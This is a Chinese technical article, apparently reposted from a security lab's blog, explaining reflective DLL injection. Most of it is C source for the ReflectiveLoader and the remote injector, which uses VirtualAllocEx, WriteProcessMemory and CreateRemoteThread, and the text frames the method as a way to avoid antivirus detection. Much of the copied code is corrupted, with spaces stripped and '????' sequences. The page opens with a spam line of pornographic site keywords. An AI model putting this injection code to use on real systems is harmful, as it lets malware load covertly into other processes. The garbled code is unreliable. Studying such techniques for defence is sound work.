女人自慰AV免费观看内涵网,日韩国产剧情在线观看网址,神马电影网特片网,最新一级电影欧美,在线观看亚洲欧美日韩,黄色视频在线播放免费观看,ABO涨奶期羡澄,第一导航fulione,美女主播操b

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

反射DLL注入的工作原理和實現流程

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2024-01-20 10:04 ? 次閱讀

本期作者/shadow

在之前的文章中,通過模擬 Windows 映像加載程序的功能,完全從內存中加載 DLL 模塊,而無需將 DLL 存儲到磁盤上,但這只能從本地進程中加載進內存中,如果想要在目標進程中通過內存加載 DLL 模塊,可以通過一些 I/O 操作將所需的代碼寫入目標進程,但這大量的 I/O 操作對病毒引擎來說過于敏感,還有一個思路就是編寫一段引導程序,這段引導程序用來模擬 Windows 映像加載程序的功能加載所需 DLL 模塊,這就是本文所描述的技術,反射 DLL 注入。當然,還有一些其它的方法通過可以完成這樣的需求,比如一些 PE 注入技術,進程鏤空,進程重影等。

反射 DLL 注入

在理解其原理之前,需要知道什么是反射 DLL,反射 DLL 是一個特殊的 DLL 程序,其擁有一個 PE 加載程序的引導程序,這個引導程序被作為一個導出函數導出,一旦目標進程調用此導出函數,它將模擬 Windows 映像加載程序的功能,將 DLL 自身加載到內存中執行。

需要說明的是,必須保證這個特殊的導出函數中的代碼是位置無關的,也就是說,該導出函數內部不能使用全局變量并且使用到的 WinAPI 必須通過在運行時通過 API Hash 值比對獲取,不能使用全局變量是因為其被硬編碼到編譯后的二進制文件中,這些值在鏈接的過程中被添加到一個名為 .reloc 的區段中,而在執行這塊引導程序(導出函數)的時候,注入到目標進程的 DLL 程序尚未被加載,因此無法進程被 Windows 映像加載程序對其執行重定位,如果在導出函數中使用全局變量的值,這將是一個無效的值,同樣不能在函數內部使用 WinAPI 是同樣的道理,在執行導出函數的時候,DLL 的 IAT 尚未修復,如果直接調用 WinAPI 將導致訪問沖突異常。下圖說明了反射 DLL 注入的工作原理

92b1f318-b6b3-11ee-8b88-92fbcf53809c.png

反射 DLL 的實現

反射 DLL 注入(ReflectiveDLLInjection)的 POC 最初是由Stephen Fewer 發布的,該 POC 由兩部分組成,一部分是反射 DLL 的實現,該 DLL 存在一個特殊的導出函數名稱為 ReflectiveLoader,另一部分是反射 DLL 的注入器代碼。ReflectiveDLLInjection 其倉庫地址為:https://github.com/stephenfewer/ReflectiveDLLInjection。

獲取 ReflectiveLoader所需的

WinAPI 地址

前面提到,ReflectiveLoader 這個特殊的導出函數需要在運行時通過 API Hash 比對獲取使用到的導出函數地址,ReflectiveLoader 函數中使用到的 WinAPI 有:

LoadLibraryA

GetProcAddress

VirtualAlloc

NtFlushInstructionCache

//STEP 1: process the kernels exports forthe functions our loader needs...

//get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2) + 0x30);
#endif
#endif

//get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress= (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

//get the first entry ofthe InMemoryOrder modulelist
uiValueA= (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
//get pointer to current modules name (unicode string)
uiValueB= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
//set bCounter to the length forthe loop
usCounter= ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
//clear uiValueC which will store the hash ofthe modulename
uiValueC = 0;

//compute the hash ofthe modulename...
do
{
uiValueC = ror( (DWORD)uiValueC );
//normalize to uppercase ifthe madule name isinlowercase
if( *((BYTE *)uiValueB) >= 'a')
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );

//compare the hash with that ofkernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
//get thismodules base address
uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

//get the VA ofthe modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofnamepointers
uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

// gettheVAforthearrayofnameordinals
uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

usCounter= 3;

// loopwhilewestillhaveimportstofind
while( usCounter > 0)
{
// computethehashvaluesforthisfunctionname
dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );

// ifwehavefoundafunctionwewantwegetitsvirtualaddress
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// gettheVAforthearrayofaddresses
uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usethisfunctionsnameordinalasanindexintothearrayofnamepointers
uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// storethisfunctionsVA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA= (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
elseif( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress= (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
elseif( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc= (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

// decrementourcounter
usCounter--;
}

// getthenextexportedfunctionname
uiNameArray+= sizeof(DWORD);

// getthenextexportedfunctionnameordinal
uiNameOrdinals+= sizeof(WORD);
}
}
elseif( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// getthismodulesbaseaddress
uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

//get the VA ofthe modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofnamepointers
uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

// gettheVAforthearrayofnameordinals
uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

usCounter= 1;

// loopwhilewestillhaveimportstofind
while( usCounter > 0)
{
// computethehashvaluesforthisfunctionname
dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );

// ifwehavefoundafunctionwewantwegetitsvirtualaddress
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// gettheVAforthearrayofaddresses
uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usethisfunctionsnameordinalasanindexintothearrayofnamepointers
uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// storethisfunctionsVA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache= (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

// decrementourcounter
usCounter--;
}

// getthenextexportedfunctionname
uiNameArray+= sizeof(DWORD);

// getthenextexportedfunctionnameordinal
uiNameOrdinals+= sizeof(WORD);
}
}

// westopsearchingwhenwehavefoundeverythingweneed.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;

// getthenextentry
uiValueA= DEREF( uiValueA );
}

定位反射 DLL 的基址

在獲取 ReflectiveLoader 所需的 WinAPI 的地址后,接下來就是定位反射 DLL 的基址,也就是注入程序將反射 DLL 寫入目標進程空間中的位置,實現這個過程有兩種思路:

方法一:暴力檢索目標進程中反射 DLL 的地址。

方法二:通過將 DLL 在目標進程中的基址通過參數形式傳遞給 ReflectiveLoader 函數。

方式二實現較為簡單,就是在將反射 DLL 寫入目標進程的過程中傳遞分配的地址給 ReflectiveLoader 函數,因為在寫入反射 DLL 的過程中知道其在目標進程空間中的地址,方式一則是根據 PE 文件的頭部特征進行定位,從 ReflectiveLoader 函數當前指令位置,不斷向 DLL 頭部進行檢索(由于 ReflectiveLoader 函數必定在反射 DLL 中 PE 頭部的下方),從而在目標進程中找到反射的 DLL 的基址。下面的代碼利用暴力檢索去定位反射 DLL 的基址。

// STEP 0: calculate our images current base address

// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();

// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE)
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024?)
????????{
????????????uiHeaderValue += uiLibraryAddress;
????????????// break if we have found a valid MZ/PE header
????????????if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}

其中 caller() 函數就是獲取當前將要執行的指令地址:

#pragmaintrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally 
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTRcaller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }

加載反射 DLL

到此已經完成了基本的準備工作,隨后便可以加載注入到目標進程的反射 DLL,這個過程將模擬 Windows 鏡像加載程序從而將反射 DLL 自身加載到目標進程內存中并執行。

這個加載過程如下:

首先分配足夠的內存來保存反射 DLL 文件。

將反射 DLL 的 PE 頭部和節區復制到分配的空間中。(可以不用復制 PE 頭部以降低內存中特征的幾率)。

修復反射 DLL 的基址重定位。

修復反射 DLL 的 IAT。

執行反射 DLL 的入口點代碼(DllMain)。

//STEP 2: load our image into a newpermanent location inmemory...

//get the VA ofthe NT Header forthe PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

//allocate all the memory forthe DLL to be loaded into. we can load at any address because we will 
//relocate the image. Also zeros all memory andmarks it asREAD, WRITE andEXECUTE to avoid any problems.
uiBaseAddress= (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

// wemustnowcopyovertheheaders
uiValueA= ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;

while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

//STEP 3: load inall ofour sections...

//uiValueA = the VA ofthe first section
uiValueA= ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

// itteratethroughallsections, loadingthemintomemory.
uiValueE= ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
//uiValueB isthe VA forthissection
uiValueB= ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

// uiValueCiftheVAforthissectionsdata
uiValueC= ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

// copythesectionover
uiValueD= ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

//get the VA ofthe next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

//STEP 4: process our images importtable...

//uiValueB = the address ofthe importdirectory
uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

//we assume their isan importtable to process
//uiValueC isthe first entry inthe importtable
uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// itteratethroughallimports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// useLoadLibraryAtoloadtheimportedmoduleintomemory
uiLibraryAddress= (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

// uiValueD= VAoftheOriginalFirstThunk
uiValueD= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

// uiValueA= VAoftheIAT(via first thunk notorigionalfirstthunk)
uiValueA= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

// itteratethroughallimportedfunctions, importingbyordinalifnonamepresent
while( DEREF(uiValueA) )
{
// sanitycheckuiValueDassomecompilersonlyimportbyFirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// gettheVAofthemodulesNTHeader
uiExportDir= uiLibraryAddress+ ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofaddresses
uiAddressArray= ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usetheimportordinal(- exportordinal base)asanindexintothearrayofaddresses
uiAddressArray+= ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

// patchintheaddressforthisimportedfunction
DEREF(uiValueA)= ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// gettheVAofthisfunctionsimportbynamestruct
uiValueB= ( uiBaseAddress + DEREF(uiValueA) );

// useGetProcAddressandpatchintheaddressforthisimportedfunction
DEREF(uiValueA)= (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// getthenextimportedfunction
uiValueA+= sizeof( ULONG_PTR );
if( uiValueD )
uiValueD+= sizeof( ULONG_PTR );
}

// getthenextimport
uiValueC+= sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

// STEP5: processallofourimagesrelocations...

// calculatethebaseaddressdeltaandperformrelocations(even ifwe load at desired image base)
uiLibraryAddress= uiBaseAddress- ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

//uiValueB = the address ofthe relocation directory
uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

//check iftheir are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
//uiValueC isnow the first entry (IMAGE_BASE_RELOCATION)
uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// andweitteratethroughallentries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA= theVAforthisrelocationblock
uiValueA= ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

// uiValueB= numberofentriesinthisrelocationblock
uiValueB= ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) )/ sizeof( IMAGE_RELOC );

// uiValueDisnowthefirstentryinthecurrentrelocationblock
uiValueD= uiValueC+ sizeof(IMAGE_BASE_RELOCATION);

// weitteratethroughalltheentriesinthecurrentblock...
while( uiValueB-- )
{
// performtherelocation, skippingIMAGE_REL_BASED_ABSOLUTEasrequired.
// wedontuseaswitchstatementtoavoidthecompilerbuildingajumptable
// whichwouldnotbeverypositionindependent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= uiLibraryAddress;
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= (DWORD)uiLibraryAddress;
#ifdefWIN_ARM
// Note: OnARM, thecompileroptimization/O2seemstointroduceanoffbyoneissue, possiblyacodegenbug. Using/O1insteadavoidsthisproblem.
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{ 
registerDWORDdwInstruction;
registerDWORDdwAddress;
registerWORDwImm;
// gettheMOV.TinstructionsDWORDvalue(We add 4to the offset to go past the first MOV.W which handles the low word)
dwInstruction= *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flipthewordstogettheinstructionasexpected
dwInstruction= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanitychackweareprocessingaMOVinstruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pullouttheencoded16bitvalue(the high portion ofthe address-to-relocate)
wImm= (WORD)( dwInstruction & 0x000000FF);
wImm|= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm|= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm|= (WORD)((dwInstruction & 0x000F0000) >> 4);
// applytherelocationtothetargetaddress
dwAddress= ( (WORD)HIWORD(uiLibraryAddress) + wImm )& 0xFFFF;
// nowcreateanewinstructionwiththesameopcodeandregisterparam.
dwInstruction= (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patchintherelocatedaddress...
dwInstruction|= (DWORD)(dwAddress & 0x00FF);
dwInstruction|= (DWORD)(dwAddress & 0x0700)<< 4;
????????????dwInstruction?|= (DWORD)(dwAddress & 0x0800)?<< 15;
????????????dwInstruction?|= (DWORD)(dwAddress & 0xF000)?<< 4;
????????????// now?flip?the?instructions?words?and?patch?back?into?the?code...
????????????*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) )= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= HIWORD(uiLibraryAddress);
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= LOWORD(uiLibraryAddress);

// getthenextentryinthecurrentrelocationblock
uiValueD+= sizeof( IMAGE_RELOC );
}

// getthenextentryintherelocationdirectory
uiValueC= uiValueC+ ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}

//STEP 6: call our images entry point

//uiValueA = the VA ofour newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;

其中需要注意的是,在執行 DllMain 入口函數之前,需要調用 NtFlushInstructionCache 函數去清除整個進程中的指令緩存,避免由于緩存使用重定位之前的代碼。

還有一些補充的東西,比如設置節區的權限,針對反射 DLL 這個 PE 文件中如果存在異常處理程序,和 TLS 回調函數,這些需要去針對處理,這些內容在 PE 自注入文章中提及,可參考對其進行補充。

反射 DLL 注入器實現

在反射 DLL 實現后,需要編寫一個反射 DLL 的注入程序將反射 DLL 注入到目標進程中,在這個注入器中,將獲取反射 DLL 的導出函數 ReflectiveLoader 在目標進程中的地址進行遠程調用。

獲取 ReflectiveLoader 函數的地址

獲取 ReflectiveLoader 導出函數的地址,通過一個名為 GetReflectiveLoaderOffset 的函數實現,該函數通過解析寫入目標進程的反射 DLL 的導出表來獲取 ReflectiveLoader 這個導出函數的地址。

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTRuiBaseAddress = 0;
UINT_PTRuiExportDir = 0;
UINT_PTRuiNameArray = 0;
UINT_PTRuiAddressArray = 0;
UINT_PTRuiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif

uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

// currenlty we can only process a PE file which is the same type as the one this fuction has 
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
{
if( dwCompiledArch != 1)
return0;
}
elseif( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
{
if( dwCompiledArch != 2)
return0;
}
else
{
return0;
}

// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 

// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));

if( strstr( cpExportedFunctionName, "ReflectiveLoader") != NULL)
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 

// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// return the File Offset to the ReflectiveLoader() functions code...
returnRva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);

// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}

return0;
}

其中 Rva2Offset 函數是將某數據的 RVA 轉換為該數據在文件中的偏移量(FOA),具體轉換公式為:

某數據的FOA=該數據的RVA?(該數據所在節的起始RVA–該數據所在節的起始FOA)

Rva2Offset 的代碼如下,該函數將給定數據的 RVA 轉換為對應的文件偏移量。

DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{ 
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;

pNtHeaders= (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

pSectionHeader= (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);

if( dwRva < pSectionHeader[0].PointerToRawData )
????????return?dwRva;

????for( wIndex=0?; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{ 
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )???????????
???????????return?( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
????}
????
????return?0;
}

執行 ReflectiveLoader 函數

要想將反射 DLL 被加載執行,那么就需要執行其導出函數 ReflectiveLoader,在前面已經通過解析反射 DLL 獲取到了 ReflectiveLoader 這個導出函數的地址,接下來就是執行它了。

在目標進程中執行 ReflectiveLoader 函數,首先需要將反射 DLL 寫入到目標進程中,通過使用 VirtualAllocEx 函數在目標進程中開辟內存空間并寫入反射 DLL 內容,之后通過 CreateRemoteThread 函數在目標進程創建一個線程執行 ReflectiveLoader 函數,這叫導致反射 DLL 被加載執行。

HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ){ BOOLbSuccess               = FALSE; LPVOID lpRemoteLibraryBuffer       = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; HANDLE hThread              = NULL; DWORD dwReflectiveLoaderOffset      = 0; DWORD dwThreadId             = 0; __try { do{ if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { hThread = NULL; } return hThread;}

測試

在反射 DLL 中編寫需要執行的代碼,并使用反射 DLL 注入器進行反射 DLL 注入到目標進程中進行測試。

VOID Go()
{
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
/// other code here.
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
switch(dwReason)
{
caseDLL_PROCESS_ATTACH:
Go();
break;
caseDLL_THREAD_ATTACH:
caseDLL_THREAD_DETACH:
caseDLL_PROCESS_DETACH:
break;
}
returnTRUE;
}

說明:在使用 Visual Studio IDE 編譯反射 DLL 工程項目的過程中,注意關閉支持我的代碼調試(/JMC)標志和禁用安全檢查(/GS)標志,因為這些會導致編譯器向最終的二進制代碼中添加一些安全檢查代碼,需要避免編譯器對反射 DLL 的進行優化,從而導致改變代碼的執行路徑,進而導致程序崩潰。

測試效果如下:

